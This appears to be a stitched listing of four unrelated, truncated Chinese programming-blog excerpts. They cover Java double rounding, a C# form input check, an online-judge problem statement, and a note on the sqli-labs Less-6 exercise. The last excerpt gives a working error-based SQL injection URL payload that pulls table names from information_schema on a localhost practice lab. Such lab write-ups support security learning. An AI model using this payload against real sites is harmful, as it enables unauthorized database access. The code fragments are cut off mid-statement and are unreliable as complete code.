1.功能 将double类型变量进行四舍五入,并保留小数点后位数 2.代码 import java.math.BigDecimal; import java.math.RoundingMode; import java.text.DecimalFormat; import java.text.NumberFormat; public class Test { /** * 保留两位小数,四舍五入 * @param d * @return */ public static double format
代码: using System; using System.Windows.Forms; namespace CheckInput { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Sure_button_Click(object sender, EventArgs e) { if (CheckIsLegal() && CheckIsNull()) {
题目: A - Tutor Time Limit:1000MS Memory Limit:65535KB 64bit IO Format:%I64d & %I64u Submit Status Description Lilin was a student of Tonghua Normal University. She is studying at University of Chicago now. Besides studying, she worked as a tut
同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23